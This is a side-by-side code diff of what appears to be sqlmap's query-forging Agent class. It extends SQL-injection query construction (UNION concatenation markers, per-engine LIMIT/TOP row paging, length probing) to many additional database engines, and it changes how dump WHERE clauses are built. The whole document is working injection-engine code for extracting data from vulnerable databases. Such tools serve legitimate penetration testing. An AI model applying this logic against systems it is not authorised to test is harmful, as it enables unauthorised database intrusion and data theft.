prefixRegex = r"(?:\s+(?:FIRST|SKIP|LIMIT(?: \d+)?)\s+\d+)*" prefixRegex = r"(?:\s+(?:FIRST|SKIP|LIMIT(?: \d+)?)\s+\d+)*"
fieldsSelectTop = re.search(r"\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I) fieldsSelectTop = re.search(r"\ASELECT\s+TOP(\s+[\d]|\s*\([^)]+\))\s+(.+?)\s+FROM", query, re.I)
fieldsSelectRownum = re.search(r"\ASELECT\s+([^()]+?),\s*ROWNUM AS LIMIT FROM", query, re.I) fieldsSelectRownum = re.search(r"\ASELECT\s+([^()]+?),\s*ROWNUM AS LIMIT FROM", query, re.I)
fieldsSelectDistinct = re.search(r"\ASELECT%s\s+DISTINCT\((.+?)\)\s+FROM" % prefixRegex, query, re.I) fieldsSelectDistinct = re.search(r"\ASELECT%s\s+DISTINCT\((.+?)\)\s+FROM" % prefixRegex, query, re.I)
fieldsSelectCase = re.search(r"\ASELECT%s\s+(\(CASE WHEN\s+.+\s+END\))" % prefixRegex, query, re.I) fieldsSelectCase = re.search(r"\ASELECT%s\s+(\(CASE WHEN\s+.+\s+END\))" % prefixRegex, query, re.I)
@@ -548,7 +578,7 @@ class Agent(object):
if fieldsSelect: if fieldsSelect:
fieldsToCastStr = fieldsSelect.group(1) fieldsToCastStr = fieldsSelect.group(1)
elif fieldsSelectTop: elif fieldsSelectTop:
fieldsToCastStr = fieldsSelectTop.group(1) fieldsToCastStr = fieldsSelectTop.group(2)
elif fieldsSelectRownum: elif fieldsSelectRownum:
fieldsToCastStr = fieldsSelectRownum.group(1) fieldsToCastStr = fieldsSelectRownum.group(1)
elif fieldsSelectDistinct: elif fieldsSelectDistinct:
@@ -648,7 +678,7 @@ class Agent(object):
elif fieldsNoSelect: elif fieldsNoSelect:
concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop) concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2): elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE):
if fieldsExists: if fieldsExists:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1) concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
concatenatedQuery += "||'%s'" % kb.chars.stop concatenatedQuery += "||'%s'" % kb.chars.stop
@@ -671,7 +701,7 @@ class Agent(object):
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1) concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1)
concatenatedQuery += "+'%s'" % kb.chars.stop concatenatedQuery += "+'%s'" % kb.chars.stop
elif fieldsSelectTop: elif fieldsSelectTop:
topNum = re.search(r"\ASELECT\s+TOP\s+([\d]+)\s+", concatenatedQuery, re.I).group(1) topNum = re.search(r"\ASELECT\s+TOP(\s+[\d]|\s*\([^)]+\))\s+", concatenatedQuery, re.I).group(1)
concatenatedQuery = concatenatedQuery.replace("SELECT TOP%s " % topNum, "TOP%s '%s'+" % (topNum, kb.chars.start), 1) concatenatedQuery = concatenatedQuery.replace("SELECT TOP%s " % topNum, "TOP%s '%s'+" % (topNum, kb.chars.start), 1)
concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % kb.chars.stop, 1) concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % kb.chars.stop, 1)
elif fieldsSelectCase: elif fieldsSelectCase:
@@ -708,21 +738,43 @@ class Agent(object):
warnMsg = "applying generic concatenation (CONCAT)" warnMsg = "applying generic concatenation (CONCAT)"
singleTimeWarnMessage(warnMsg) singleTimeWarnMessage(warnMsg)
if FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms()):
_ = re.sub(r"(?i)%s\Z" % re.escape(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]), "", concatenatedQuery)
if _ != concatenatedQuery:
concatenatedQuery = _
fieldsSelectFrom = None
if fieldsExists: if fieldsExists:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1) concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
concatenatedQuery += "),'%s')" % kb.chars.stop concatenatedQuery += "),'%s')" % kb.chars.stop
elif fieldsSelectCase: elif fieldsSelectCase:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1) concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
concatenatedQuery += "),'%s')" % kb.chars.stop concatenatedQuery += "),'%s')" % kb.chars.stop
elif fieldsSelectFrom: elif fieldsSelectFrom or fieldsSelect:
fromTable = ""
_ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM ")) _ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
concatenatedQuery = "%s),'%s')%s" % (concatenatedQuery[:_].replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1), kb.chars.stop, concatenatedQuery[_:]) if _:
concatenatedQuery, fromTable = concatenatedQuery[:_], concatenatedQuery[_:]
concatenatedQuery = re.sub(r"(?i)\ASELECT ", "", concatenatedQuery)
replacement = "'%s',%s,'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
chars = [_ for _ in replacement]
count = 0
for index in zeroDepthSearch(replacement, ',')[1:]:
chars[index] = "),"
count += 1
replacement = "CONCAT(%s%s)" % ("CONCAT(" * count, "".join(chars))
concatenatedQuery = "%s%s" % (replacement, fromTable)
elif fieldsSelect: elif fieldsSelect:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1) concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
concatenatedQuery += "),'%s')" % kb.chars.stop concatenatedQuery += "),'%s')" % kb.chars.stop
elif fieldsNoSelect: elif fieldsNoSelect:
concatenatedQuery = "CONCAT(CONCAT('%s',%s),'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop) concatenatedQuery = "CONCAT(CONCAT('%s',%s),'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
return concatenatedQuery return concatenatedQuery
def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None): def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None):
@@ -937,10 +989,33 @@ class Agent(object):
fromFrom = limitedQuery[fromIndex + 1:] fromFrom = limitedQuery[fromIndex + 1:]
orderBy = None orderBy = None
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CUBRID, DBMS.EXTREMEDB):
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1) limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
limitedQuery += " %s" % limitStr limitedQuery += " %s" % limitStr
elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE,):
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num + 1, 1)
limitedQuery += " %s" % limitStr
elif Backend.getIdentifiedDbms() in (DBMS.DERBY, DBMS.CRATEDB):
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (1, num)
limitedQuery += " %s" % limitStr
elif Backend.getIdentifiedDbms() in (DBMS.FRONTBASE,):
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
if query.startswith("SELECT "):
limitedQuery = query.replace("SELECT ", "SELECT %s " % limitStr, 1)
elif Backend.getIdentifiedDbms() in (DBMS.MONETDB,):
if query.startswith("SELECT ") and field is not None and field in query:
original = query.split("SELECT ", 1)[1].split(" FROM", 1)[0]
for part in original.split(','):
if re.search(r"\b%s\b" % re.escape(field), part):
_ = re.sub(r"SELECT.+?FROM", "SELECT %s AS z,row_number() over() AS y FROM" % part, query, 1)
replacement = "SELECT x.z FROM (%s)x WHERE x.y-1=%d" % (_, num)
limitedQuery = replacement
break
elif Backend.isDbms(DBMS.HSQLDB): elif Backend.isDbms(DBMS.HSQLDB):
match = re.search(r"ORDER BY [^ ]+", limitedQuery) match = re.search(r"ORDER BY [^ ]+", limitedQuery)
if match: if match:
@@ -959,6 +1034,15 @@ class Agent(object):
if match: if match:
orderBy = " ORDER BY %s" % match.group(1) orderBy = " ORDER BY %s" % match.group(1)
elif Backend.isDbms(DBMS.CACHE):
match = re.search(r"ORDER BY ([^ ]+)\Z", limitedQuery)
if match:
limitedQuery = re.sub(r"\s*%s\s*" % re.escape(match.group(0)), " ", limitedQuery).strip()
orderBy = " %s" % match.group(0)
field = match.group(1)
limitedQuery = queries[Backend.getIdentifiedDbms()].limit.query % (1, field, limitedQuery, num)
elif Backend.isDbms(DBMS.FIREBIRD): elif Backend.isDbms(DBMS.FIREBIRD):
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num + 1, num + 1) limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num + 1, num + 1)
limitedQuery += " %s" % limitStr limitedQuery += " %s" % limitStr
@@ -1036,12 +1120,15 @@ class Agent(object):
def forgeQueryOutputLength(self, expression): def forgeQueryOutputLength(self, expression):
lengthQuery = queries[Backend.getIdentifiedDbms()].length.query lengthQuery = queries[Backend.getIdentifiedDbms()].length.query
select = re.search(r"\ASELECT\s+", expression, re.I) select = re.search(r"\ASELECT\s+", expression, re.I)
selectFrom = re.search(r"\ASELECT\s+(.+)\s+FROM\s+(.+)", expression, re.I)
selectTopExpr = re.search(r"\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I) selectTopExpr = re.search(r"\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I)
selectMinMaxExpr = re.search(r"\ASELECT\s+(MIN|MAX)\(.+?\)\s+FROM", expression, re.I) selectMinMaxExpr = re.search(r"\ASELECT\s+(MIN|MAX)\(.+?\)\s+FROM", expression, re.I)
_, _, _, _, _, _, fieldsStr, _ = self.getFields(expression) _, _, _, _, _, _, fieldsStr, _ = self.getFields(expression)
if selectTopExpr or selectMinMaxExpr: if Backend.getIdentifiedDbms() in (DBMS.MCKOI,) and selectFrom:
lengthExpr = "SELECT %s FROM %s" % (lengthQuery % selectFrom.group(1), selectFrom.group(2))
elif selectTopExpr or selectMinMaxExpr:
lengthExpr = lengthQuery % ("(%s)" % expression) lengthExpr = lengthQuery % ("(%s)" % expression)
elif select: elif select:
lengthExpr = expression.replace(fieldsStr, lengthQuery % fieldsStr, 1) lengthExpr = expression.replace(fieldsStr, lengthQuery % fieldsStr, 1)
@@ -1115,7 +1202,12 @@ class Agent(object):
def whereQuery(self, query): def whereQuery(self, query):
if conf.dumpWhere and query: if conf.dumpWhere and query:
prefix, suffix = query.split(" ORDER BY ") if " ORDER BY " in query else (query, "") match = re.search(r" (LIMIT|ORDER).+", query, re.I)
if match:
suffix = match.group(0)
prefix = query[:-len(suffix)]
else:
prefix, suffix = query, ""
if conf.tbl and "%s)" % conf.tbl.upper() in prefix.upper(): if conf.tbl and "%s)" % conf.tbl.upper() in prefix.upper():
prefix = re.sub(r"(?i)%s\)" % re.escape(conf.tbl), "%s WHERE %s)" % (conf.tbl, conf.dumpWhere), prefix) prefix = re.sub(r"(?i)%s\)" % re.escape(conf.tbl), "%s WHERE %s)" % (conf.tbl, conf.dumpWhere), prefix)
@@ -1124,7 +1216,9 @@ class Agent(object):
else: else:
prefix += " WHERE %s" % conf.dumpWhere prefix += " WHERE %s" % conf.dumpWhere
query = "%s ORDER BY %s" % (prefix, suffix) if suffix else prefix query = prefix
if suffix:
query += suffix
return query return query

Some files were not shown because too many files have changed in this diff Show More